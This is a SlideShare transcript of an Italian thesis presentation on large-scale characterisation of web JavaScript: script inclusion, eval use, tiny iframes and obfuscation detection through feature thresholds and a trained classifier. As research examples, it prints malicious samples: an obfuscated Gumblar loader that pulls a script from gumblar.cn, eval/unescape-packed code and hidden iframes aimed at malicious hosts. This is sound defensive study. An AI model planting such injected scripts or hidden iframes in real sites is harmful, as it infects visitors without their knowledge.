Your SlideShare is downloading. ×
0
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

627

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
627
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
3
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web Universit` Degli Studi Di Trieste a Facolt` di Ingegneria a Corso di Laurea Specialistica in Ingegneria Informatica LAUREANDA RELATORE Sara Zambon Chiar.mo Prof. Alberto Bartoli CORRELATORE Ing. Eric Medvet Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 2. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’era del Web 2.0 Evoluzione del Web: dinamicit`a interazione con l’utente ⇒ grazie a script, frammenti di codice eseguiti lato client Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 3. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Stato attuale di sicurezza nel Web Rapporti Websense, Sophos: crescita del 671% di siti Internet malicious in un anno 77% dei siti malicious sono siti affidabili compromessi Drive-by download Scaricamento automatico di malware → spesso ` un link a inoltrare l’utente verso pagina maligna e Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 4. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Inclusione di codice Durante la navigazione fra le pagine di un sito: 1 esecuzione di mix di codici provenienti da siti terzi, inclusi tramite: → script → iframe, talvolta invisibili 2 esecuzione di codici offuscati ! all’insaputa dell’utente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 5. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti Inclusione di codice ! all’insaputa dell’utente Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 6. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’obiettivo della ricerca Obiettivo Caratterizzazione dell’inclusione degli script nelle pagine web Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 7. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti L’obiettivo della ricerca Obiettivo Caratterizzazione dell’inclusione degli script nelle pagine web ⇒ sostanziale assenza di studi con medesima finalit` a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 8. Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti I cinque quesiti 1 Quanto ` diffusa l’inclusione di script da url diversi? e 2 A che profondit` di inclusione si arriva per includere script? a 3 Quanto ` diffuso l’utilizzo di eval()? e 4 Quanto ` diffusa l’inclusione di frame e iframe e sospettosamente piccoli? 5 Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 9. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 10. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 11. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 12. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 13. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 14. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List < 1% pagine Interesting Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 15. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le fonti Dateset con 1037 pagine rappresentativo del Web: → 3 fonti di scaricamento: ≈ 80% pagine Normal→ Top Million Sites List stilata dall’azienda Alexa ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal progetto Malware Domain List < 1% pagine Interesting→ 3 maggiori JavaScript benchmark Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 16. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 17. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Quindi sono state popolate due tabelle: Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 18. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Estrapolazione dei dati dalla pagina Da ciascuna pagina scaricata sono stati estrapolati: → script JavaScript → frame → iframe Quindi sono state popolate due tabelle: → Ts , tabella degli script JavaScript → Ti , tabella dei frame e degli iframe Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 19. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a La tabella degli script e la tabella dei frame e degli iframe Per ogni script viene inserita una riga Per ogni frame e iframe viene inserita nella tabella Ts : una riga nella tabella Ti : Script URL Iframe URL Root page URL Root page URL Script body Iframe body Category: Enclosing: Embedded Script HTML Embedded Child Script Script Embedded Intrinsic Event Locality: Locality: Local Local Remote Remote List of HTTP redirection for the List of HTTP redirection for the iframe script ... ... Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 20. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le propriet` estratte a Propriet` estratte dagli script: a Function name Document.write Iframe Variable name Variable content Long string Eval Unescape Decode Onerror Exec String.fromCharCode String.charCodeAt Math.random Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 21. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le propriet` estratte a Propriet` estratte da frame e iframe: a Width Height Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 22. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Dalle propriet` alle features a → 1 pagina ⇒ n script → 1 script ⇒ 14 propriet` a → 1 propriet` ⇒ m items a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 23. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Dalle propriet` alle features a → 1 pagina ⇒ n script → 1 script ⇒ 14 propriet` a → 1 propriet` ⇒ m items a → 1 script ⇒ 17 features, ottenute: contando ⇒ items associati a una propriet` a contando ⇒ items offuscati associati a una propriet` a Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 24. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Propriet` Features a Le features Vettore di 17 numeri, features, associato allo script: Feature Number of Obfuscated Function name Number of Obfuscated Document.write Number of Obfuscated Iframe Number of Obfuscated Variable name Number of Obfuscated Variable content Number of Obfuscated Long String Number of Eval Number of Obfuscated Eval Number of Eval with long argument Number of Unescape Number of Obfuscated Unescape Number of Obfuscated Decode Number of Obfuscated Onerror Number of Obfuscated Exec Number of String.fromCharCode Number of String.charCodeAt Number of Math.random Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 25. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 26. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Definizione di codice offuscato Codice progettato in modo da nascondere le sue reali finalit`, a anche a seguito di un’analisi approfondita da parte di operatori esperti Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 27. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Definizione di Offuscamento ! Assenza definizione precisa Definizione di codice offuscato Codice progettato in modo da nascondere le sue reali finalit`, a anche a seguito di un’analisi approfondita da parte di operatori esperti Obiettivi alla base dell’offuscamento: º proteggere la paternit` del codice a » celare codice maligno Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 28. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Due esempi di script JavaScript offuscati Primo script offuscato f u n c t i o n c ( g ) { v a r m=0; w h i l e (m . l e n g t h ) { v a r r=g [m ] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ) { <g r . k=e ( r . n , r . o , r . l ) ; } e l s e { r . k =0;} r . t=f ( r . l+r . k ) ;m++;}} Secondo script offuscato xR5p=3D’ % ’ ; e v a l ( u n e s c a p e ( ( ’ v a r ” 20 a ” 3d” 22 Sc ” 72 i p t E n g i n ” 65 ” 22 ” 2 c ” 62 ” 3d” 22 ”5=6 e r s ” 69 on ( )+” 22 ” 2 c ” 6 a ” 3d” 22 ” 22 ” 2 cu ” 3 d n a v i g ” 61 t ” 6 f r ” 2 e ” 75 s ” 65 r A g e n t ” 3 b i f ((= ” 75 ” 2 e i n d ” 65 xOf ” 28 ” 22Win” 2 2 ) ” 3 e0 ) ” 26 ” 2 6 ( u” 2 e ” 69 n” 64 exO” 6 6 ( ” 22NT” 20 ” 36 ” 22 ”=29” 3 c0 ) ” 26 ” 2 6 ( documen ” 74 ” 2 e c o o k i e ” 2 e ” 69 ndex ” 4 f ” 66 ” 28 ” 22 ” 6 d i e ” 6b” 3 d1 ” 2 2 ) ”3=c0 ) ” 26 ” 26 ” 28 t ” 79 ” 70 e ” 6 f f ( ” 7 a r v z t s ) ” 21 ” 3 d t y p e o f ( ” 22A” 2 2 ) ) ” 29 ” 7 b z r v z t s ” 3d”2=2A” 22 ” 3b ” 65 va ” 6 c ( ” 22 i f ( wi ” 6 edow ” 2 e ”22+a+” 22 ” 29 j ” 3d” 6 a+”22+a+” 22M” 61 j o ” 72 ”=22+” 62 ” 2 ba+” 22 Minor ” 22 ” 2 bb+a+” 22B” 75 ” 69 l d ” 22 ” 2 bb ” 2b” 22 j ” 3b” 2 2 ) ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d” 22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) . r e p l a c e ( j i l , xR5p ) ) ) }=) ( / ” / g ) ; Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 29. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Due esempi di script JavaScript offuscati Secondo script ! Gumblar ⇒ A maggio 2009 deteneva il 42% infezioni a livello globale ⇒ all’esecuzione download altro script da http://www.gumblar.cn/rss/ Ultime righe del secondo script [ . . . ] ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d”22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) [ . . . ] ⇒ obiettivo offuscamento: celare codice maligno Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 30. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Esempi di items offuscati nomi offuscati di funzioni c07b380984r0368a7 , r32fdfe1768 , re15d694d . nomi offuscati di variabili a 7 0 4 4 t f , a7044pu , a 7 0 4 4 p f , a7044su , a 7 0 4 4 s f , a 7 0 4 4 o f , a7044op , a7044ops , a 7 0 4 4 o t , a7044d , a 7 0 4 4 o e . variabile con argomento offuscato v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 94 ” , ” 149 ” , ” 101 ” , ” 128 ” , ” 68 ” , ” 62 ” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ” 79 ” , ” 79 ” , ” 82 ” , ” 62 ” , ” 69 ” , ” 74 ” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ” 74 ” , ” 128 ” , ” 133 ” , ” 143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ” 60 ” , ” 89 ” , ” 60 ” , ” 62 ” , ” 138 ” , ” 139 ” , ” 138 ” , ” 129 ” , ” 62 ” , ” 87 ” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ; document.write() con argomento offuscato document . w r i t e ( ’<a h r e f=” h t t p : / /www . 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =” 51.la 专业、&#x514D ;费、强健的访问统&# x8BA1 ; ”> 网站统&#x8BA1 ;</ a>n ’ ) stringa con argomento offuscato c=T . 7 y ( ) ; 1 e ( c . 1 A+29.2 f ( 1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S +29.2 f ( 1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1 e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a ) }N{1 e (T . 5 X , T . 5W) ; 1 B( 1 s ) {1 e ( 1 s . 5 X , 1 s . 5W) ; G (42&&!/ˆ t ( 9 8 | d | h ) $ / i . 1 1 ( 1 s . 2 j ) | | 2 k&&!5U) 2C( 1 s ) ; G ( ! 3 c&&1g ( 1 s , ” 30 ” )==” 3 c ” ) 3 c= 4 a=/ˆ1 c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s }1B( d&&d . 2 j &&!/ˆ1 c | 2 K$/ i M; . 1 1 ( d . 2 j ) ) {G ( ! / ˆ 9 6 | 1 T. ∗ $ / i . 1 1 ( 1 g ( d , ” 18 ” ) ) ) 1 e(−d . 2 e ,−d . 2 c ) ; G(42&&1g ( d , ” 33 ” ) !=” 4 j ” ) 2C( d ) ; d=d . 1 d}G ( ( 5U&&(3c | | 1 g ( 4 a , ” 30 ” )==” 5 x ” ) ) [ . . . ] Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 31. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Esempi di propriet` offuscate a stringa lunga con argomento offuscato rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF 100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF1 01 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF1 15 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF 47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF9 9 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcD F46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcD F108rcDF101rcDF61rcDF34rcDF98rc eval() con argomento offuscato e v a l ( u n e s c a p e ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28 a r g u m e n t s . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/ g%2C%27%27%29%2 CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3B f o r %28 AsRG%3D0%3BAsRG%3CR GHH . l e n g t h %3BAsRG++%29HpCh%5E%3DR GHH . c h a r C o d e A t %28AsRG%29%3BAsRG%3D−1%3B w h i l e%28++A S a I S %3CSCSL . l e n g t h %29%7 B i f %28 AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g . fromCharCode%28HpCh%5ESCSL . c h a r C o d e A t%28A S a I S %29%5ER GHH . c h a r C o d e A t %28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3 B r e t u r n%3B%7D ’ ) ) ; unescape() con argomento offuscato u n e s c a p e ( ”%3C i f r a m e %20name%3D%22 a d p r o t e s t %22%20 w i d t h%3D%22”+wi+”%22%20 h e i g h t %3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c %3D%22 h t t p%3A// s c r i p t s . c h i t i k a . n e t / s t a t i c / a d p r o . h t m l%22%20 m a r g i n w i d t h%3D%220%22%20 m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20 h s p a c e%3D%220%22%20 a l l o w t r a n s p a r e n c y %3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e %3E ”) Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 32. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Iframe invisibili iframe reso invisibile dalle dimensioni nulle (width=0 e height=0) <i f r a m e s r c=” hxxp : / / g o o g l e−a n a l y z . cn / c o u n t . php ? o=1” w i d t h=0 h e i g h t =0 s t y l e =” h i d d e n ” f r a m e b o r d e r=0 m a r g i n h e i g h t =0 m a r g i n w i d t h=0 s c r o l l i n g =no></ i f r a m e> iframe reso invisibile da una sola dimensione nulla (height=0) <i f r a m e s r c=” hxxp : / / a86x . homeunix . o r g : 8 0 8 0 / t s / i n . c g i ? open2 ” w i d t h =997 h e i g h t =0 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe di dimensioni minime e dunque difficilmente percepibile <i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” w i d t h=2 h e i g h t =4 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe reso invisibile dall’attributo visibility:hidden <i f r a m e s r c=” hxxp : / / c o m b i n e b e t . cn : 8 0 8 0 / i n d e x . php ” w i d t h =180 h e i g h t =141 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e> </ iframe non visibile perch` interno a un “contenitore” <div> invisibile e <d i v s t y l e=” d i s p l a y : none ”> <i f r a m e s r c=” hxxp : / / r e d−w o l f . r u : 8 0 8 0 / i n d e x . php ” w i d t h =574 h e i g h t =455> </ i f r a m e> </ d i v> Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 33. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Dynamic Evaluation Moderni linguaggi di scripting permettono la dynamic evaluation: º valutazione run time input utente » grave problema per la sicurezza La funzione JavaScript eval() esegue una stringa trattandola come codice → potenzialmente in grado di compiere qualsiasi azione → nella maggior parte dei casi uso scorretto Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 34. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio L’analisi sull’offuscamento Obiettivo Individuazione criterio per stabilire se un script ` offuscato o meno e Primo criterio di offuscamento Soglie sulle features ottenute da analisi delle propriet` degli script a Secondo criterio di offuscamento Classificatore realizzato su risultati di test svolti da analisti ⇒ per ogni script di Ts → 2 “bit di offuscamento” Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 35. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il primo bit di offuscamento → 1 script → vettore 17 features Primo criterio: → soglie basate su domain knowledge → se almeno una feature supera la soglia ⇒ lo script ` offuscato. e Feature Soglia Number of Obfuscated Function name 0 Number of Obfuscated Document.write 0 Number of Obfuscated Iframe 0 Number of Obfuscated Variable name 4 Number of Obfuscated Variable content 4 Number of Obfuscated Long String 0 Number of Eval 2 Number of Obfuscated Eval 0 Number of Eval with long argument 0 Number of Unescape 2 Number of Obfuscated Unescape 0 Number of Obfuscated Decode 0 Number of Obfuscated Onerror 0 Number of Obfuscated Exec 0 Number of String.fromCharCode 4 Number of String.charCodeAt 4 Number of Math.random 4 Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 36. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo criterio 77 analisti esaminatori di 893 script di Ts → Ritieni che questo codice sia offuscato (anche solo parzialmente)? Possibili opzioni di risposta: S` No, Non so ı, Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 37. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo criterio 77 analisti esaminatori di 893 script di Ts → Ritieni che questo codice sia offuscato (anche solo parzialmente)? Possibili opzioni di risposta: S` No, Non so ı, → dei 893 script → 691 con pi` di una valutazione u → dei 691 script → 561 con maggioranza di giudizio → dei 561 script: → 372 (66%) giudizio unanime → 100 (18%) range di valutazioni comuni fra l’51% e il 67% → dei 691 script → 130 senza maggioranza di giudizio → dei 130 script: → 81 (67%) giudizio unanime Non so Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 38. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo bit di offuscamento → 1 script → vettore 17 features Secondo criterio: → per ogni script dei 561 → bit offuscameno analisti → addestramento di un classificatore Multilayer Perceptron Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 39. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio Il secondo bit di offuscamento → 1 script → vettore 17 features Secondo criterio: → per ogni script dei 561 → bit offuscameno analisti → addestramento di un classificatore Multilayer Perceptron ⇓ Classificatore applicato a tutti gli script di Ts Sara Zambon Caratterizzazione dei codici JavaScript nel Web
  • 40. Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati Caratterizzazione generale Grafici di distribuzione cumulativa sulla somma delle dimensioni degli script per pagina (a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious Normal → script dimensioni maggiori: Child Script Malicious → script dimensioni maggiori: Embedded Script Sara Zambon Caratterizzazione dei codici JavaScript nel Web
